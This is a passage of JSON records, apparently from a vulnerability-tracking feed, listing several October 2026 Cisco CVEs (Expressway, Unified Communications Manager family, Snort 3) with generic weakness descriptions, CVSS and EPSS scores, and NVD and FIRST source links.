fixes.","publishedAt":"2026-10-21T17:19:08.480Z","updatedAt":"2026-10-22T14:17:47.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76491","asOf":"2026-10-22T14:17:47.383Z"},"epss":{"probability":0.0036,"percentile":0.29445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76491","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76491","type":"primary","publishedAt":"2026-10-21T17:19:08.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76491, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76490","cveId":"CVE-2026-76490","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76490 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76490 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:08.340Z","updatedAt":"2026-10-22T14:17:47.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76490","asOf":"2026-10-22T14:17:47.227Z"},"epss":{"probability":0.00439,"percentile":0.37883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76490","type":"primary","publishedAt":"2026-10-21T17:19:08.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76481","cveId":"CVE-2026-76481","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76481 are related to issues concerning improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76481 are related to issues concerning improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.910Z","updatedAt":"2026-10-21T18:54:37.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76481","asOf":"2026-10-21T18:54:37.403Z"},"epss":{"probability":0.00455,"percentile":0.39218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76481","type":"primary","publishedAt":"2026-10-21T17:19:07.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76479","cveId":"CVE-2026-76479","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76479 are related to issues concerning improper limitation of a pathname to a restricted directory that are grouped under the Common Weakness Enumeration (CWE) Base CWE-22.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76479 are related to issues concerning improper limitation of a pathname to a restricted directory that are grouped under the Common Weakness Enumeration (CWE) Base CWE-22.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.780Z","updatedAt":"2026-10-22T23:19:08.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76479","asOf":"2026-10-22T23:19:08.200Z"},"epss":{"probability":0.0019,"percentile":0.08577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76479","type":"primary","publishedAt":"2026-10-21T17:19:07.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76478","cveId":"CVE-2026-76478","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76478 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76478 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.650Z","updatedAt":"2026-10-22T23:19:08.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76478","asOf":"2026-10-22T23:19:08.063Z"},"epss":{"probability":0.00149,"percentile":0.04045,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76478&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76478","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76478","type":"primary","publishedAt":"2026-10-21T17:19:07.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76478&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76478, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76477","cveId":"CVE-2026-76477","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76477 are related to issues concerning improper neutralization of special elements used in an SQL command that are grouped under the Common Weakness Enumeration (CWE) Base CWE-89.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-76477 are related to issues concerning improper neutralization of special elements used in an SQL command that are grouped under the Common Weakness Enumeration (CWE) Base CWE-89.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.520Z","updatedAt":"2026-10-22T23:19:07.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76477","asOf":"2026-10-22T23:19:07.930Z"},"epss":{"probability":0.00463,"percentile":0.39879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76477","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76477","type":"primary","publishedAt":"2026-10-21T17:19:07.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76477, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76476","cveId":"CVE-2026-76476","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76476 are related to issues concerning improper input validation that are grouped under the Common Weakness Enumeration (CWE) Class CWE-20.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;\r\n\r\nThe vulnerabilities tracked by CVE-2026-76476 are related to issues concerning improper input validation that are grouped under the Common Weakness Enumeration (CWE) Class CWE-20.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:19:07.387Z","updatedAt":"2026-10-22T23:19:07.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76476","asOf":"2026-10-22T23:19:07.803Z"},"epss":{"probability":0.00428,"percentile":0.36823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76476&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76476","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76476","type":"primary","publishedAt":"2026-10-21T17:19:07.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76476&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76476, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20356","cveId":"CVE-2026-20356","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20356 are related to issues concerning uncontrolled resource consumption that are grouped under the Common Weakness Enumeration (CWE) Base CWE-400.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20356 are related to issues concerning uncontrolled resource consumption that are grouped under the Common Weakness Enumeration (CWE) Base CWE-400.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:28.703Z","updatedAt":"2026-10-22T14:17:41.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20356","asOf":"2026-10-22T14:17:41.723Z"},"epss":{"probability":0.0044,"percentile":0.37921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20356","type":"primary","publishedAt":"2026-10-21T17:18:28.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20291","cveId":"CVE-2026-20291","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20291 are related to issues concerning improper privilege management that are grouped under the Common Weakness Enumeration (CWE) Base CWE-269.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20291 are related to issues concerning improper privilege management that are grouped under the Common Weakness Enumeration (CWE) Base CWE-269.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:28.473Z","updatedAt":"2026-10-22T23:18:31.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20291","asOf":"2026-10-22T23:18:31.427Z"},"epss":{"probability":0.00159,"percentile":0.05035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20291","type":"primary","publishedAt":"2026-10-21T17:18:28.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20236","cveId":"CVE-2026-20236","aliases":[],"kind":"vulnerability","title":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...","summary":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20236 are related to issues concerning incorrect calculation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-682.","detail":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.\r\n\r\nThe vulnerabilities tracked by CVE-2026-20236 are related to issues concerning incorrect calculation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-682.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T17:18:28.247Z","updatedAt":"2026-10-26T10:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Cisco"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20236","asOf":"2026-10-26T10:10:00.140Z"},"epss":{"probability":0.0044,"percentile":0.37922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20236","type":"primary","publishedAt":"2026-10-21T17:18:28.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20236, scored 2026-10-25. This is a 